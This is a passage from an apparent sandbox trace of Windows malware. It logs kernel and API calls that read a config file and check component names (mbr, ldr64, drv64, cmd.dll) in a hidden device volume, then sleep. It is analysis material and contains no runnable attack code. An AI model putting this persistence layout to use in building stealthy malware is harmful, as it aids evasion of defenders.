SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.733] IdePortDispatch () returned 0x103 [0117.733] KeWaitForMutexObject () returned 0x0 [0117.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.733] IdePortDispatch () returned 0x103 [0117.734] KeWaitForMutexObject () returned 0x0 [0117.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.734] KeLeaveCriticalRegion () [0117.734] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.734] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.734] KeEnterCriticalRegion () [0117.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.734] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.734] KeLeaveCriticalRegion () [0117.735] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.735] KeEnterCriticalRegion () [0117.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.735] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.735] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.735] KeLeaveCriticalRegion () [0117.735] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.735] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.735] KeEnterCriticalRegion () [0117.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.735] ExFreePoolWithTag (P=0xfffffa800381bf60, Tag=0x0) [0117.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.735] KeLeaveCriticalRegion () [0117.735] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.735] ReleaseMutex (hMutex=0xf0) returned 1 [0117.735] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.735] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.735] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.735] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.735] KeEnterCriticalRegion () [0117.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.735] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.735] IdePortDispatch () returned 0x103 [0117.735] KeWaitForMutexObject () returned 0x0 [0117.736] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.736] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.736] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.736] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.736] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.736] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.736] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.736] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.736] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.736] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.736] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.736] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.736] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.736] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.736] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.736] KeLeaveCriticalRegion () [0117.736] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.736] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.736] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.736] KeEnterCriticalRegion () [0117.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.736] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.736] IdePortDispatch () returned 0x103 [0117.736] KeWaitForMutexObject () returned 0x0 [0117.736] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.737] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.737] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.737] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.737] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.737] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.737] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.737] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.737] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.737] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.737] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.737] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.737] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.737] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.737] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.737] KeLeaveCriticalRegion () [0117.737] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.737] ReleaseMutex (hMutex=0x100) returned 1 [0117.737] Sleep (dwMilliseconds=0x2bf20) [0117.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69612250, dwHighDateTime=0x1d24fa4)) [0117.747] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.747] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.747] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.747] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.747] KeEnterCriticalRegion () [0117.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.748] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.748] IdePortDispatch () returned 0x103 [0117.748] KeWaitForMutexObject () returned 0x0 [0117.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.748] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.748] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.748] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.748] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.748] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daa90 [0117.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.748] KeLeaveCriticalRegion () [0117.748] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.748] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.748] KeEnterCriticalRegion () [0117.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.748] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.748] KeLeaveCriticalRegion () [0117.748] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.748] KeEnterCriticalRegion () [0117.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.749] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.749] IdePortDispatch () returned 0x103 [0117.749] KeWaitForMutexObject () returned 0x0 [0117.749] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.749] KeLeaveCriticalRegion () [0117.749] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.749] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.749] KeEnterCriticalRegion () [0117.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.749] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfb000 [0117.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.749] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.749] IdePortDispatch () returned 0x103 [0117.750] KeWaitForMutexObject () returned 0x0 [0117.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.750] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.750] IdePortDispatch () returned 0x103 [0117.750] KeWaitForMutexObject () returned 0x0 [0117.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.750] KeLeaveCriticalRegion () [0117.750] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.751] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.751] KeEnterCriticalRegion () [0117.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.751] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.751] KeLeaveCriticalRegion () [0117.751] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.751] KeEnterCriticalRegion () [0117.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.751] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.751] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.751] KeLeaveCriticalRegion () [0117.751] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.751] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.751] KeEnterCriticalRegion () [0117.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.751] ExFreePoolWithTag (P=0xfffffa80039daa90, Tag=0x0) [0117.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.751] KeLeaveCriticalRegion () [0117.751] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.751] ReleaseMutex (hMutex=0xf0) returned 1 [0117.751] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.751] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.751] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.751] KeEnterCriticalRegion () [0117.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.752] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.752] IdePortDispatch () returned 0x103 [0117.752] KeWaitForMutexObject () returned 0x0 [0117.752] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.752] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.752] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.752] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.752] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.752] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.752] KeLeaveCriticalRegion () [0117.752] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.752] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.752] KeEnterCriticalRegion () [0117.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.752] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.752] KeLeaveCriticalRegion () [0117.752] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.752] KeEnterCriticalRegion () [0117.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.752] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.752] IdePortDispatch () returned 0x103 [0117.753] KeWaitForMutexObject () returned 0x0 [0117.753] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.753] KeLeaveCriticalRegion () [0117.753] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.753] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.753] KeEnterCriticalRegion () [0117.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.753] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfc000 [0117.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.753] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.753] IdePortDispatch () returned 0x103 [0117.753] KeWaitForMutexObject () returned 0x0 [0117.753] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.754] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.754] IdePortDispatch () returned 0x103 [0117.754] KeWaitForMutexObject () returned 0x0 [0117.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.754] KeLeaveCriticalRegion () [0117.754] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.754] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.755] KeEnterCriticalRegion () [0117.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.755] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.755] KeLeaveCriticalRegion () [0117.755] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.755] KeEnterCriticalRegion () [0117.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.755] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.755] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.755] KeLeaveCriticalRegion () [0117.755] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.755] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.755] KeEnterCriticalRegion () [0117.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.755] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.755] KeLeaveCriticalRegion () [0117.755] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.755] ReleaseMutex (hMutex=0xf0) returned 1 [0117.755] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.755] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.755] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.755] KeEnterCriticalRegion () [0117.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.755] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.755] IdePortDispatch () returned 0x103 [0117.756] KeWaitForMutexObject () returned 0x0 [0117.756] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.756] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.756] _strnicmp (_Str1="cmd64.dll", 